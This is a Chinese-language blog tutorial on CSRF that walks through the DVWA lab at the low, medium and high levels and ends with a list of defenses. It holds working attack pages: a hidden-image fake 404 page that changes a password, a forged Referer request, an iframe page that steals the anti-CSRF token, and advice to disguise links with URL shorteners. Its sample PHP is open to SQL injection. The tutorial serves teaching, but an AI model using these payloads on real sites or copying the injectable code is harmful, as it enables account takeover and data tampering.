zoukankan      html  css  js  c++  java
  • CSRF漏洞原理浅谈

    CSRF漏洞原理浅谈

    By : Mirror王宇阳

    E-mail : mirrorwangyuyang@gmail.com

    笔者并未深挖过CSRF,内容居多是参考《Web安全深度剖析》、《白帽子讲web安全》等诸多网络技术文章

    CSRF跨站请求攻击,和XSS有相似之处;攻击者利用CSRF可以盗用用户的身份进行攻击

    CSRF攻击原理

    部分摘自《Web安全深度剖析》第十章

    当我们打开或登录某个网站后,浏览器与网站所存放的服务器将会产生一个会话,在会话结束前,用户就可以利用具有的网站权限对网站进行操作(如:发表文章、发送邮件、删除文章等)。会话借宿后,在进行权限操作,网站就会告知会话超期或重新登录。

    当登录网站后,浏览器就会和可信的站点建立一个经过认证的会话。所有通过这个经过认证的会话发送请求,都被认定为可信的行为,例如转账、汇款等操作。当这个会话认证的时间过长或者自主结束断开;必须重新建立经过认证的可信安全的会话。

    CSRF攻击是建立在会话之上。比如:登录了网上银行,正在进行转账业务,这是攻击者给你发来一个URL,这个URL是攻击者精心构造的Payload,攻击者精心构造的转账业务代码,而且与你登录的是同一家银行,当你认为这是安全的链接后点击进去,你的钱就没了!

    比如想给用户xxser转账1000元,正常的URL是:

    secbug.org/pay.jsp?user=xxser&money=1000
    

    而攻击者构造的URL则是:

    secbug.org/pay.jsp?user=hack&money=10000
    

    CSRF漏洞利用

    CSRF漏洞常常被用来制作蠕虫攻击、SEO流量等

    分析漏洞代码

    • 获取GET参数username和password,然后通过select语句查询是否存在对应的用户,如果存在通过$_SESSION设置一个session:isadmin=admin ,否则设置session:isadmin=guest
    • 判断session中的isadmin是否为admin,如果isadmin!=admin说明用户没有登录,那么跳转到登录页面。所以只有在管理员登录后才可以执行用户的操作
    • 获取POST参数username和password然后插入users表中,完成添加用户的操作
    <?php
    	
    	session_start();
    	if (isset($_GET['login'])) {
    		$con=mysqli_connect("127.0.0.1","root","123456","test");
    		if (mysql_connect_errno()) {
    			echo "连接失败".mysql_connect_errno();
    		}
    		$username = addslashes($_GET['username']);
    		$password = $_GET['password'];
    		$result = mysqli_query($con , "select * from users where username='".$username."' and password='".md5($password)."'");
    		$row = mysqli_fetch_array($result);
    		if($row){
    			$_SESSION['isadmin'] = 'admin';
    			exit("登录成功");
    		} else{
    			$_SESSION['isadmin'] = 'guest';
    			exit("登录失败");
    		}
    	} else{
    		$_SESSION['isadmin'] = 'guest';
    	}
    	if($_SESSION['isadmin'] != 'admin'){
    		exit("请登录……");
    	}
    	if(isset($_POST['submit'])){
    		if (isset($_POST['username'])) {
    			$result1 = mysqli_query($con,"insert into users(username , password) value ('".$_POST['username']."','".md5($_POST['password'])."')");
    			exit($_POST['username']."添加成功");
    		}
    	}
    ?>
    

    这是后台php源码

    攻击者需要做的就是构造一个请求,请求的URL就是php文件的URL,参数是submit=1&username=1&password=1,请求payload会自动的利用源码的特性添加一个用户

    <!DOCTYPE html>
    <html>
    <head>
    	<meta charset="utf-8">
    	<title>CSRF漏洞实践</title>
    </head>
    <body>
    	<script type="text/javascript">
    		var pauses = new Array("16");
    		var methods = new Array("POST");
    		var urls = new Array("isadmin.php");
    		var params = new Array("submit=1&username=1&password=1");
    		function pausecomp(millis){
    			var date = new Date();
    			var curDate = null ; 
    			do{
    				curDate = new Date();
    			}while(curDate-date<millis);
    		}
    		function run(){
    			var count = 1 ; 
    			var i = 0 ; 
    			for( i=0 ; i < count ; i ++){
    				makeXHR(methods[i],urls[i],params[i]);
    				pausecomp(pausecomp[i]);
    
    			}
    		}
    		var http_request = false ; 
    		function makeXHR(method , url , paramters){
    			http_request = false ; 
    			if(window.XMLHttpRequest){
    				http_request = new XMLHttpRequest() ; 
    				if(http_request.overrideMinmeType){
    					http_request.overrideMinmeType('text/html');
    				}
    			} else if(window.ActiveXObject){
    				try{
    					http_request = new ActiveXObject("Msxml2.XMLHTTP");
    				} catch(e){
    					try{
    						http_request = new ActiveXObject("Microsoft.XMLHTTP");
    					} catch (e){ }
    				}
    			}
    			if(!http_request){
    				alert('Cannot create XMLHTTP instance');
    				return false;
    			}
    			if(method == 'GET'){
    				if(url.indexOf('?') == -1){
    					url = url + '?' + paramters;
    				} else{
    					url = url + '&' + paramters;
    
    				}
    				http_request.open(method,url,true);
    				http_request.send("");
    
    			} else if(method == 'POST'){
    				http_request.open(method,url,true);
    				http_request.setRequestHeader("Content-type","application/x-www.form-urlencoded");
    				http_request.setRequestHeader("Content-length",paramters.length);
    				http_request.setRequestHeader("Connection","close");
    				http_request.send(paramters);
    			}
    		}
    	</script>
    </body>
    </html>
    

    DVWA平台CSRF

    笔者找不到比较好的源码,于是找到了DVWA~~

    Low

    • 前端源码

      <h3>Change your admin password:</h3>
      <br>
      <form action="#" method="GET">
      	New password:<br>
      	<input autocomplete="off" name="password_new" type="password"><br>
      	Confirm new password:<br>
      	<input autocomplete="off" name="password_conf" type="password"><br>
      	<br>
      	<input value="Change" name="Change" type="submit">
      </form>
      

      前端的源码非常的简单,是一个修改密码的CSRF,表单采用GET方式Change提交

    • 后端源码

      <?php
      
      if( isset( $_GET[ 'Change' ] ) ) {
          // Get input
          $pass_new  = $_GET[ 'password_new' ];
          $pass_conf = $_GET[ 'password_conf' ];
      
          // Do the passwords match?
          if( $pass_new == $pass_conf ) {
              // They do!
              $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
              $pass_new = md5( $pass_new );
      
              // Update the database
              $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
              $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
      
              // Feedback for the user
              echo "<pre>Password Changed.</pre>";
          }
          else {
              // Issue with passwords matching
              echo "<pre>Passwords did not match.</pre>";
          }
      
          ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
      }
      
      ?> 
      

      可以看见后端接收数据后会验证两次密码是否重复,然后修改密码~~~

    • 构造Payload

      http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
      

      我们将Payload发送给受害者,受害者处于会话保持(登录状态)中,受害者一旦点击这个URL链接,就意味着受害者执行了同样的操作;这个过程就是CSRF

      笔者处于的DVWA使用的登录密码,而我的密码就被改为“123456”

    • 重点

      这里的攻击成立是利用受害者的Cookie向服务器发送伪造请求(Payload),如果用户使用的是一个与xxser.com保持会话登录的浏览器点击Payload-URL,受害者的密码就会发生更改。

      哦!对了!这么裸露的攻击Payload在2019年安全意识高端的现代,是不会有人点击的!这个时候我们就有好玩的一个工具叫:“短链接”,百度新浪的短网址服务都可以!

      为了减少图片内容,我们当密码修改后的页面会提示“Password Changed.”

    • 高明的做法(从一位前辈copy过来的,忘记链接了!)

      都知道会出现提示,要想悄悄的修改!可以建立一个攻击网页,诱骗受害者访问

      <!DOCTYPE html>
      <html>
      <head>
      	<meta charset="utf-8">
      	<title>Payload</title>
      </head>
      <body>
      	<img src="http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" border="0" style="display: none">
      	<h1>404</h1>
      	<h2>file not found.</h2>
      </body>
      </html>
      

      页面的作用是加载一个伪404的页面;实际上一旦访问这个页面,就会加载图片,所谓加载图片就是加载src属性,而src属性则为Payload-URL,实际的行为就是加载该html页面的同时图片会加载,也就执行了Payload 你说好不好玩!加载一个404伪页面,就把自己的密码给该了,而且自己还不知道!

    Medium

    • 后端源码( 添加了http_referer头的校验 )

      <?php
      
      if( isset( $_GET[ 'Change' ] ) ) {
          // HTTP_REFERER :查询当前页的前一页的地址信息
          // SERVER_NAME  :获取域名
          if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
              // stripos() :查字符第一次出现的位置,
              $pass_new  = $_GET[ 'password_new' ];
              $pass_conf = $_GET[ 'password_conf' ];
      
              // Do the passwords match?
              if( $pass_new == $pass_conf ) {
                  // They do!
                  $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
                  $pass_new = md5( $pass_new );
      
                  // Update the database
                  $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
                  $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
      
                  // Feedback for the user
                  echo "<pre>Password Changed.</pre>";
              }
              else {
                  // Issue with passwords matching
                  echo "<pre>Passwords did not match.</pre>";
              }
          }
          else {
              // Didn't come from a trusted source
              echo "<pre>That request didn't look correct.</pre>";
          }
      
          ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
      }
      
      ?> 
      

      检查HTTP_REFERER(http数据包的referer参数值)即上一级URL地址信息是否包含当前HTTP数据包中的Host参数值;包含则表示当前页面是从DVWA即上一级URL合法的行为。

      合法的http数据包:

      GET /DVWA-master/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change HTTP/1.1
      Host: 127.0.0.1
      User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
      Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
      Accept-Encoding: gzip, deflate
      DNT: 1
      Referer: http://127.0.0.1/DVWA-master/vulnerabilities/csrf/
      Cookie: security=medium; PHPSESSID=nfafklof4unqinb2b0jvvpl943
      X-Forwarded-For: 8.8.8.8
      Connection: keep-alive
      Upgrade-Insecure-Requests: 1
      

      留意第2行、第8行

    • 分析绕过

      但是stripos()函数写的头验证是可以绕过的~ stripos()函数是多次匹配; 只要包含了目标主机地址就可以绕过stripos()函数写的验证语句

      如果我们依旧按照建立一个伪造的攻击页面,stripos()头验证就会验证,然而页面并不是来自DVWA;于是深挖stripos()函数的漏洞,发现函数会多次匹配,于是思路就是建立一个假的文件名,通过一个伪造的文件名,绕过stripos()的验证

    • Payload

      GET /DVWA-master/vulnerabilities/csrf/?password_new=mirror11&password_conf=mirror11&Change=Change HTTP/1.1
      Host: 127.0.0.1
      User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
      Accept: */*
      Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
      Accept-Encoding: gzip, deflate
      DNT: 1
      Referer: http://127.0.0.1/127.0.0.1.html
      Cookie: security=medium; PHPSESSID=nfafklof4unqinb2b0jvvpl943
      X-Forwarded-For: 8.8.8.8
      Connection: keep-alive
      

      这里注意!我们将Payload命名为“127.0.0.1.html”,

    High

    • 后端源码

      <?php
      
      if( isset( $_GET[ 'Change' ] ) ) {
          // 加入 Anti-CSRF token机制
          checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
      
          // Get input
          $pass_new  = $_GET[ 'password_new' ];
          $pass_conf = $_GET[ 'password_conf' ];
      
          // Do the passwords match?
          if( $pass_new == $pass_conf ) {
              // They do!
              $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
              $pass_new = md5( $pass_new );
      
              // Update the database
              $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
              $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
      
              // Feedback for the user
              echo "<pre>Password Changed.</pre>";
          }
          else {
              // Issue with passwords matching
              echo "<pre>Passwords did not match.</pre>";
          }
      
          ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
      }
      
      // Generate Anti-CSRF token
      generateSessionToken();
      
      ?> 
      

      加入 Anti-CSRF Token机制,用户访问改密页面时,服务器返回token,只有用户提交token参数才可以进行改密行为!

    • 分析绕过

      我们构造Payload页面的时候,就需要考虑到执行改密行为必须向服务器发送token,而token只有在改密页面才可以获得;

      根据前辈的思路:利用受害者的cookie去改密页面获取token

      <script type="text/javascript">
       
          function attack()
       
        {
       
         document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
       
        document.getElementById("transfer").submit(); 
       
        }
       
      </script>
       
      <iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">
       
      </iframe>
       
      <body οnlοad="attack()">
       
        <form method="GET" id="transfer" action="http://169.254.36.73/DVWA-master/vulnerabilities/csrf/">
       
         <input type="hidden" name="password_new" value="password">
       
          <input type="hidden" name="password_conf" value="password">
       
         <input type="hidden" name="user_token" value="">
       
        <input type="hidden" name="Change" value="Change">
       
         </form>
       
      </body>
      

      攻击思路是当受害者点击进入这个页面,脚本会通过一个看不见框架偷偷访问修改密码的页面,获取页面中的token,并向服务器发送改密请求,以完成CSRF攻击。

      然而理想与现实的差距是巨大的,这里牵扯到了跨域问题,而现在的浏览器是不允许跨域请求的。这里简单解释下跨域,我们的框架iframe访问的地址是http://169.254.36.73/DVWA-master/vulnerabilities/csrf/,位于服务器169.254.36.73上,而我们的攻击页面位于黑客服务器上,两者的域名不同,域名B下的所有页面都不允许主动获取域名A下的页面内容,除非域名A下的页面主动发送信息给域名B的页面,所以我们的攻击脚本是不可能取到改密界面中的user_token。

      由于跨域是不能实现的,所以我们要将攻击代码注入到目标服务器169.254.36.73中,才有可能完成攻击。下面利用High级别的XSS漏洞协助获取Anti-CSRF token(因为这里的XSS注入有长度限制,不能够注入完整的攻击脚本,所以只获取Anti-CSRF token)

      这里的Name存在XSS漏洞,于是抓包,改参数,成功弹出token
      原文链接:https://blog.csdn.net/liweibin812/article/details/86468880

      img

    笔者通过DVWA平台的CSRF实例,简单的总结了CSRF的特性和应对措施,也由于笔者没有就这方面进行研究,没有办法进一步深度的解剖原理

    CSRF应对措施

    • 从DVWA的测试中总结:

      在Impossible级别的源码中,利用了PDO技术防御SQL注入,防护CSRF方面则要求用户原始密码;攻击者在不知道原始密码的情况下是无法进行CSRF的哦!笔者从网络中搜集了几篇文章,笔者对这些文章就不做剖解了直接copy地址

      PDO防SQL注入原理分析:https://www.cnblogs.com/leezhxing/p/5282437.html

    CSRF防御手段

    • 使用POST,限制GET

      GET方式最容易受到CSRF攻击,只要简单的构造payload就可能导致CSRF;使用POST可以大程度的减低CSRF曝光率

    • 浏览器Cookie策略

      老浏览器会拦截第三方本地Cookie的发送,而新浏览器则不会拦截发送;

    • 添加验证码

      简单粗暴还有效;可以大程度的增加人机交互的过程,避免用户被悄悄的偷袭

    • Referer Check

      检查请求是否来自于合法的

    • Anti CSRF Token

      Token的值必须是随机的,不可预测的。由于Token的存在,攻击者无法再构造一个带有合法Token的请求实施CSRF攻击。另外使用Token时应注意Token的保密性,尽量把敏感操作由GET改为POST,以form或AJAX形式提交,避免Token泄露。

    • 总结:

      CSRF攻击是攻击者利用用户的身份操作用户帐户的一种攻击方式,通常使用Anti CSRF Token来防御CSRF攻击,同时要注意Token的保密性和随机性。

  • 相关阅读:
    docker 实践七:docker-machine
    docker 实践六:dockerfile 详解
    docker 实践五:端口映射和容器互联
    docker 实践四:数据管理
    利用onerror将页面异常图片替换成随即图
    checkbox绑定v-for的数据
    iphone在jsp显示时间会NAN解决办法
    html5文本超过指定行数隐藏显示省略号
    使用vue做移动端瀑布流分页
    java导入Excel表格数据
  • 原文地址:https://www.cnblogs.com/wangyuyang1016/p/11874945.html
Copyright © 2011-2022 走看看